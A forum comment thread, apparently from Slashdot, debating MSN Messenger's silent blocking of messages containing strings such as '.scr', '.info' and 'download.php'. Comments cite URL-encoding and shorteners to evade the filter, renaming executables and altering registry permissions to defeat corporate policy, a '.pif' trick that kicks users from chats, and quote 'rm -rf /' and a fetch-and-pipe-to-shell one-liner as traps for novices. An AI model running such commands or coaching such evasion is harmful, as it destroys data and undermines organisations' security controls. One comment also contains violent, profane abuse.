MSN Censors Your IM

Jamie ran across a story about censorship on MSN. Essentially, a number of suspicious strings result in silent failure of delivery. The strings are unsurprisingly things like .scr and .info. They've started maintaining a list if you're interested. Personally, I'd rather they fix the vulnerabilities that make those strings dangerous in the first place: it's not like IM is the only place a URL can get on your machine.

The genius that is Microsoft...

From an article that is linked to from this one:

The link filter does not take canonical URLs into account: http: //evil.example.com/download.php and http: //evil.example.com/down%6Coad.php is the same URL, expressed in two different ways. The first one is blocked, while the second one is not.

Or for that matter, http: //tinyurl.com/z35a5.

Kind of reminds me of our software filter where I work. They blocked firefox.exe from running. My solution? I renamed the file to iexplore.exe. Worked like a charm.

It's also probably worth noting that the messages are blocked on the server, not the client. That means that it will block the message whether you're using the MSN client, Pidgin, or any other client to access MSN.

My advice: Get a frickin' Google mail account already and use Google Talk [google.com] instead.

Re:The genius that is Microsoft...

Or just any Jabber client, for that matter.

Four ways to hide the .php extension

And what does every Linux web server come with?

Perl.

Still, the administrator of a server running PHP 5 can get scripts to run without having .php in the URL by using various forms of content negotiation [apache.org]:

• With Options MultiViews, the client requests /download?foo=bar. Apache HTTP Server will look for a file called download, not find it, and then search for download.* and run the first thing it finds.
• Type-mapped negotiation in Apache works much the same way, except it uses .var files (similar to Windows shortcuts) that point to your script. For instance, /download?foo=bar would reference /download.var, which points to /download.php. It's useful if you have a lot of small requests, for which the repeated directory scans performed by MultiViews might become CPU-bound.
• Rename download.php to download/index.php, and Apache will find it when it scans index.* to display a default page for a directory.
• Last but not least, mod_rewrite.

Re:Four ways to hide the .php extension

Or, do it the way I do.

1. Name the PHP file "download".
2. Use this option either in httpd.conf or .htaccess:

<Files /path/to/file/download>
SetHandler application/x-httpd-php
</Files>

3. Access it like:
http://localhost/download or accept arguments like http://localhost/download/file.odt

If you want to get what comes after the slash, this is all you need:

$thePath = explode("/",ereg_replace($_SERVER['SCRIPT_NAME']," ",$_SERVER['REQUEST_URI']));


file.odt would be located in $thePath[1].

Re:Four ways to hide the .php extension

$thePath = explode("/",ereg_replace($_SERVER['SCRIPT_NAME']," ",$_SERVER['REQUEST_URI']));

There isn't supposed to be a space in the quotes. The lameness filter added that.

Re:Blocked firefox.exe

An inept IT department?
OMFG!
Someone alert the world press!

Re:Blocked firefox.exe

No, they specifically blocked firefox.exe. It wasn't part of a regular expression or policy to keep people from running their own programs. They made a deliberate and conscious choice to not only standardize on Internet Explorer as the Official Company Browser(TM), but to try to prevent anything else from even working.

It's not the only time they've done something lame-ass like that. For example, they've also created an Active Directory policy to push down the corporate intranet page as your home page. So if you're like me and prefer something like Google as your home page, too damn bad, it resets it next time you log in. I had to go in and deny permission to that registry key for Administrators to keep that from happening. (Yes, I know, they can reset the permissions on the key if they figure out what I've done, but they're not that motivated, and the point was to keep the automatic update from happening, which this does successfully.)

Re:Blocked firefox.exe

If that happens to step on your personal wants, then thats too bad.

What if it steps on what I need to do my job? I'm glad I don't work for you. You seem to be one of those types that thinks that just because something can be done, it needs to be done. Pushing down the default page doesn't protect the corporate computing assets, though I'm sure that's how our desktop goobers pitched it to management. It's just one more way to control things they have no business controlling, and it impacts our productivity.

They also do thinks like push down custom Start Menu structures. Microsoft Word, for example, isn't under All Programs or even Microsoft Office like it is on every other computer. No, it's buried under "Office Applications" (not to be confused with "Business Applications," a separate directory), along with things like Adobe Acrobat and such. They've also moved Windows Explorer (the filesystem explorer, not Internet Explorer) under Accessories. If I change this to something I'm more used to, it gets reverted next time I log in. Obviously, they've also deleted and blocked Solitaire and Minesweeper from running; it wouldn't do for people to take a break from hammering their stones. The company logo is pushed out to be everyone's desktop background.

My favorite, though, is that they've decided that everyone needs a little application called Kontiki. It's a peer-to-peer video distrubtion software system that turns all of our PCs into filesharing peers for corporate videos. You can't disable it and you can't delete the videos that it pushes down. (If you try to deleting a video, the software automatically re-downloads it from--you guessed it--your coworkers computers.) I detest days when corporate videos go out. My bandwidth is sucked dry by something I neither want nor use and have no control over.

Let's see... Need more stories? How about this. They recently pushed out a piece of software called Connected Backup. What happened is that our fileservers where people's home directories were started filling up. Instead of going out and buying more hard drives or implementing quotas, they've rolled out this backup software to everyone's computer that automatically backs up your machine once a day whether you want it to or not. Now, they're telling everyone that official company policy is to NOT store important documents on the fileservers, but to store them on your local PCs. Brilliant! Of course, network traffic has shot up dramatically, and the backup servers had to have a TON of storage added to them (the data still has to go somewhere), and instead of only things that people save on the fileservers being backed up, all of their personal shit is, too.

Every day, my computer runs a Connected backup, a virus scan, a vulnerability scan, a document retention scan, a software installation scan, Notes database replication, and my Run key in the registry has around 50 entries in it that our desktop group has loaded in, and it takes around two minutes for all of the group policies and login scripts to run when I log in. Thanks to our desktop group, literally 30 minutes of my day is wasted waiting for all of that shit to run.

I could go on with the stupidity if you really want me to. You're right about one thing; they've definitely protected the corporate computing assets. People hate using their computers so much now that a lot of people I know have gone back to just leaving it on all the time for doing their timesheets, and conduct their normal business using such old school methods such as the telephone and pencil and paper. As for me, I actually do some of my work at home using my own computing resources, and the only reason I can tolerate using my work computer for anything is because I know how to get around most of the shit they try to push down on us.

Re:Blocked firefox.exe

Odds are we know better than you...

Maybe, but I kind of doubt it. I was a NT server support person for a couple of years, then a systems admin (and a damned good one, if I do say so myself) for almost a decade. I've fought my fair share of battles, and my background is precisely why I know how to get around most of the shit they keep trying to push down to my workstation.

Some higher up executive, though, decided to bring it up... (blah blah blah)

Did you try to fight it? Did you tell your manager, "This is a bad idea, and here's why..."? Like I've said, I've fought my fair share of battles. I haven't won them all. I had to delete Solitaire and Minesweeper at a smaller company I worked at because, as my boss said, "I hate those stupid timewasters." However, when he had a meeting to tell us that he read that you could lock down the desktop background image, I explained to him why that was a bad idea, and actually won that battle.

At my last job before the one I have now, I was the manager of server operations. I hate to say it, but my boss was a complete idiot who didn't know a thing about managing an IT department. It was ridiculous, and on more than one occasion, I found myself in the CFO's office (his boss) explaining why what my boss had told him was a load of hooey. I ended up quitting because I literally was afraid that I would be prosecuted at some point for something my boss would make me do and pinned on me as a scapegoat, and a few months later, he was finally fired because he screwed up a license scheme and it cost the company over $100 thousand (a LOT of money for that company). While I was there, I actually deliberately disobeyed him on many occasions when he asked me to do things that were illegal and/or unethical.

But the desktop goobers where I am now? They don't just implement management's decisions. Believe me, I've talked to them on many occasions, and they actually defend what they've done. I know for a fact that they are the ones who are instigating a lot of this crap, because in my company, it's how you get ahead; you lead a project that costs hundreds of thousands of dollars and put together reports about how well it went. What? There isn't a project involving spending hundreds of thousands of dollars? Then you make one up.

So yeah, I guess I am one of those users. As a matter of fact, I do know more than most of our IT folks about how these systems work. And if they stand in the way of me doing my job, I'll go around them without an iota of guilt because frankly, what I'm doing is much more important then them locking down my home page and desktop background.

Re:The genius that is Microsoft...

People always miss the point in these arguments, and say "get such and such instead" - it doesn't help, because my friends use MSN, and probably the same for most tech savvy MSN users. Sure, I'd rather use a better protocol, but I'm stuck using what my friends are on. This is the problem with "picking" an IM - the decision isn't made by you, but by the people you want to talk to who already have picked one.

Re:The genius that is Microsoft...

The day I start picking my friends based on their responses to IM security issues will be a sad, sad day.

"Mom, I met a great girl. She's not very nice, and she's not very pretty, but she started using Jabber after the latest MSN fiasco. You'll love her. I'll have her message you; oh, but you'll have to switch of of AIM first, mom."

The Solution!

The solution?

Apply some idea of "common carrier" status to MSN. Like the telephone companies, as long as they do not attempt to edit or censor the content that passes through their networks, in any way, then they are not responsible and cannot be held liable for any damage caused by such content. But the moment they start taking measures like this to try to "sanitize" the content of the network, make them legally liable to pay damages for any successful attack/exploit that they are unable to prevent.

Overnight, this stupidity would go away. It would also set a great precedent for any other companies that wish to do this.

-gasp- Slashdot, too!

"Nothing for you to see here. Please move along."

I'm guessing they're using that as a way to make sure only subscribers can get first post now? It wouldn't load for me until someone had posted.

As for the IM... I don't care what it is, it's not their job to censor it. Virus check attachments, sure... But not sensor the chat. Absolutely ridiculous. Reminds me of games that try to filter out all 'bad' words and end up filtering out words like 'fanny' because they mean 'butt' in the US and apparently refer to women's genitalia in the UK. How people NAMED Fanny deal with that, I can't imagine. There were quite a few more commonplace words that mean odd things in other languages or countries and were filtered as well. Ridiculous.

Re:-gasp- Slashdot, too!

Reminds me of games that try to filter out all 'bad' words

I play City of Heroes, and for some weird reason, it blocks the word "count." I think it was a typo when someone was entering words to block into the filter. It was just kind of funny, because I discovered it when I told someone, "Don't worry, you can count on me!" and it came out as "Don't worry, you can <bleep!> on me!" They had no idea what I was talking about, and it took a few entertaining minutes to hash out what was going on.

Re:-gasp- Slashdot, too!

Ah, the northern Uk town of Scunthorpe has been affected by this problem for some time now. I think a "Scun" must be a rude word in American English or something.

Re:-gasp- Slashdot, too!

The problem, though is that after the brouhaha, people started deliberately using the "innocent" word in mean-spirited ways. I mean, come on, before all of this mess, no one ever used the word niggardly in normal conversation.

Not necessarily. It depends on who's in your circle of friends. YOUR circle of friends may not use that word, but that doesn't mean that "no one" ever used it, especially in formal writing or speeches.

During the controversy, one of the newspapers (Boston, I think) ran through one of the loudest critics prior speeches and found that he'd used it in the past, as well.

Just because SOME people are that special combination of both ignorant and loud, it shouldn't change the way educated people communicate.

Re:-gasp- Slashdot, too!

Ah, the northern Uk town of Scunthorpe has been affected by this problem for some time now. I think a "Scun" must be a rude word in American English or something.

No, it's "Thor". We don't like Scandinavians.

I already knew some

Since the day I became almost crazy when I was trying to pass a URL which included 'download.php?' to a friend from a well trusted website. All of my messages sent back to me. PITA.

Fortunately, it's kinda easily fooled if you randomly place a space and add "delete the space" at the end of the sentence. If they trust me in the first place, what prevents them from copy-pasting it and deleting a character as I requested?

Reminds me...

Some time in 2002, if I remember, I wanted to make my MSN Messenger nickname a Microsoft related joke, only to find the client preventing me with a message that says:

"A part of your nickname contains trademarked words and thus cannot be used".

I changed "Microsoft" to "Micro Soft" but it just wasn't the same :(

I've run into this issue before

I had tried to send my friend a link to a website like site.com/staff.php, and gaim said "blah blah received an error from the MSN switchboard".

Another thing to note: you used to be able to crash people out of chats by typing "[.pif]" (without quotes). It would cause everyone to exit the conversation with a "connection error". Now, it just kicks you out.

Misleading headline

This isn't censorship; it's just a poor firewall. The difference is that the former is for stifling human communication, while the latter is to protect machines from malicious software.

Re:Misleading headline

No, the data which is being blocked from transmission is not blocked because it's going to a computer program which would be exploited by it. At least I haven't seen any allegations of that. It's being blocked because the human that would receive the data might use it in a way deemed inappropriate (by clicking on it, say).

Re:Misleading headline

Are you the guy that Slashdot hired to start correcting all the inaccurate stories and comments posted here?

Priorities and mitigation

Personally, I'd rather they fix the vulnerabilities that make those strings dangerous in the first place: it's not like IM is the only place a URL can get on your machine.

Do you really think they're diverting resources away from fixing bugs so that they can add "censorship" features to IM? Perhaps this is just one effort among multiple efforts to correct problems AND mitigate their effects? If it's going to take X weeks to fix the bug, but Y days to implement a filter that will stop some large percentage of infections, don't you think that both avenues are worth exploration at the same time? There's more to slowing and preventing the spread of malware than fixing the defect that allows them to propagate.

This also assumes that the same organization even owns the bug in question. Not all of these defects may be Microsoft's problem to begin with. This might even be a MORE reasonable action for them to take, since they're doing "everything in their power" to fight the problem rather than just sitting on their hands waiting for a 3rd-party to correct their bug, and sitting on their hands longer waiting for the end user to update their software.

.INFO

I don't suppose it's occurred to Microsoft that .info is a perfectly valid TLD used by a significant number of legitimate web sites, and a perfectly appropriate string to include in an IM discussion.

.com

Do they block those scary executable .com files too?

MSN does some weiiiiiird things...

Here's one it started doing since the recent MS security drive. Any file that could possibly exploit a hole in any piece of software seems to be treated with serious suspicion. Somehow, this seems to include GIF files. So, when someone tried to send me a GIF file, I get this warning [game-point.net]. I download it anyway, and it's sitting on my hard drive. I can copy it somewhere else, open it, etc.

However - and this is the kicker - when I click on the blue link to the file in the MSN chat window, I get this dialog [game-point.net]. Yeah, it actually DELETED the file I just downloaded. After I copied it using Explorer. And I have full access to it. Dunno who implemented that piece of genius.

So...

...as a web developer I need to find a new IM service? Great move. :P

And if they didnt

The first person that got infected wiht something would bitch that Microsoft didn't do enough.

Not that im fond of them either, but it seems they cant win either way these days.

Losing battle...

It's pretty much impossible to block everything. If someone really wants to send you a link to something that will infect (or try to infect) your computer, there are tons of ways to do it. The tinyurl example has already been mentioned, but every single Apache server out there comes with things like mod_rewrite or Redirect directives that can send innocuous URLs to the intended malicious URL. In the case of mod_rewrite, you can do it without even changing what the browser displays, so users don't even know they evaded (or didn't, as the case may be) an infection attempt.

At least they're doing something

Personally, I'd rather they fix the vulnerabilities that make those strings dangerous in the first place

At least their trying something (albeit a weak approach) to stop automated scripts from sending viruses all over their chat protocol.

When you work on 1000+ college student laptops, you learn a lot of things about software students use in general, and one of these things you learn is:

1) AIM is a Virus downloading service disguised as a chat protocol.

I know that AOL doesn't do this on purpose, but it is so easy to hack that it might as well be. it's great when a 12 year old downloads a virus that infects Aim thinking it was some game (probably from AIM i might add), it sends "Hey check this out!" to his sister at the college containing an infected link or program, and the next thing you know you're running Aimfix and cleaning Zlob off on 300 PC's.

If Aim would simply filter out the bad traffic (and they should be able to know if a client is spamming the servers like crazy by heuristics alone) it would stop a lot of scams dead in their tracks.

Old news!

This has been known about for years. Here's a digg posting [digg.com] from over a year ago...

Office Communicator

.... does the same stuff. I try to send a coworker the name of an exe or a dll and it shoots back that my message could not be sent. So even in a closed corporate environment stuff like this happens. Of course there probably is a way to turn that off at the server side, but our IT department has better things to do like hunting down copies of WinRAR and send us threating emails because "WinZip is our corporate standard compression tool."

Devil's Advocate

It's probable that they're seeing a lot of automated traffic with these URLs. They know for sure that these are malicious networks and they're spreading on their IM client. Maybe they already patched the vulnerabilities, but these are people who have (apparently) not set auto update to work. Maybe they plan to fix it in the next roll-up but need a stopgap in the meantime. It's not hard to imagine an ethical scenario where you pretty much have to block that traffic. Now the question becomes how. I'm not sure I agree with the silent blocking or the indiscriminate targeting like .info, but the very fact that they're blocking known attack vectors I don't think is a bad idea.

All the more reason to use Jabber/XMPP

You can set up your own server, you can control your own IM stuffs, and really ... it's just a better solution. You could still go with GTalk if you want access to the Jabber network without setting up a server or doing anything fancy, but in that case I'd recommend encryption for your conversations (you should probably do that anyway). If you just want to set up a new Jabber account on one of the public servers, head on over to jabber.org [jabber.org] and pick one out.

spying

I wonder if MSN also spies on users. Do they have keywords in place to log messages related to possibly competing products, etc?

Oh please.

Anyone who knows me knows that I haven't used windows since 1999. I simply can't stand the system, nor can I stand the corporation behind it.

However. I'm also interested in computer security.

It _MAKES SENSE_ to block stuff that has been observed in automated worms. It's a simple solution. It's not something that will make all systems invulnerable - but it _MAKES SENSE_. It's a quickfix. A quickfix that works.

This is only "censorship" insofar that it actually prevents stupid automated worms to spread. It's a defensie measure. Not a perfect one, but one.

Oh, and patching the holes. Sure. You can patch the holes. Then everyone has to update .. should we try to protect, or should we ignore those that do not upgrade their systems? The cynic in me tells me : "Let them be cracked". The humanitarian in my tells me: "Well, think of the victims of the DDOS attacks from the botnets of previously-vulnerable people".

I'm dead tired of _idiots_ who thinks that any preventative measure is evil! censorship! bad!

Microsoft is simply trying to help in this case. If you do not like it, use another IM service. Like Yahoo! .. or IRC for that matter. Heck. PLEASE go back to IRC. It's still the best means of communication there is.

So, please you censorship-screaming morons:

SHUT UP! STOP USING THEIR SERVICE IF YOU DO NOT LIKE IT. THEY ARE TRYING TO DO THE RIGHT THING IN THIS INSTANCE !

*phew*. Now I have to go wash my brain. I've just defended satan.

Fix what?

Personally, I'd rather they fix the vulnerabilities that make those strings dangerous in the first place: it's not like IM is the only place a URL can get on your machine.

Someone want to tell me how you fix a user who downloads and runs untrusted executable code?

I've seen plenty of Linux n00bs get tricked into running rm -rf /. Or lynx -source example.com | sh

MSN implementing filters on certain strings is just a small measure in a huge arms race any major IM system has to deal with.

PS. You can save yourself the trouble of replying if you're going to tell me Linux only allows the user to destroy all of his files and not the entire OS.

Not Just MSN

Amazingly enough, I just discovered this bug in Lotus Sametime a couple of days ago. Whenever I sent a message with a filename ending in .scr, it sent a blank line to the recipient instead. I haven't verified with any of the other identified strings. Maybe there's a common piece of crapware they're both using?

Not remotely new news...

This isn't at all new. A few friends and I discovered at least one of these independently over a year ago, and we then found it was a known but little publicised situation before that.

Vulnerabilities

I'd rather they fix the vulnerabilities

How would you detect the idiocy level of the recipient? If you spam a thousand accounts with "OMG check this http://somedomain/hot-teen-s3x.scr [somedomain]" you just know some fraction of the audience will dutifully follow the link and then dismiss every prompt that appears trying to prevent installation.

Worse, after they get their own machine hacked, they'll blame MSN. They'll contact whatever 'customer service' facility is provided and scream bloody murder. If they manage to get fired as a result they may even sue. Don't doubt that there are employers capable of getting litigious with MSN over it, also.

Sadly, this is the reality of operating an IM/Email/SMS service [ubergoth.net] today. Look carefully at that graphic realize that it is not an exaggeration.

PIF your conversation

This has been going on for years. PIF at least was censored out about 2 years ago after a virus went around. It's not all bad though, now you can PIF a conversation. When you want to end a multiuser chat, type in *.PIF and everyone will be knocked out.

Disproving the article

joe | optimism is just another word for false hope says: (18:57:18)
http://yro.slashdot.org/article.pl?sid=07/08/05/13 11216 [slashdot.org]
joe | optimism is just another word for false hope says: (18:57:25)
I am now going to disprove this article
joe | optimism is just another word for false hope says: (18:57:27)
*ahem*
joe | optimism is just another word for false hope says: (18:57:52)
Microsoft suck massive donkey cocks. I really, really hope someone kicks Steve Ballmer right in the fucking head, preferably with a steel toed boot
joe | optimism is just another word for false hope says: (18:58:23)
Really, I hope someone burns their shitty excuse for a building to the ground. Fucking cunts.

Messages got through OK. Dunno what the problem is, personally.

Yet another reason to use IRC

I suppose this is *yet another* good reason to use IRC

-pp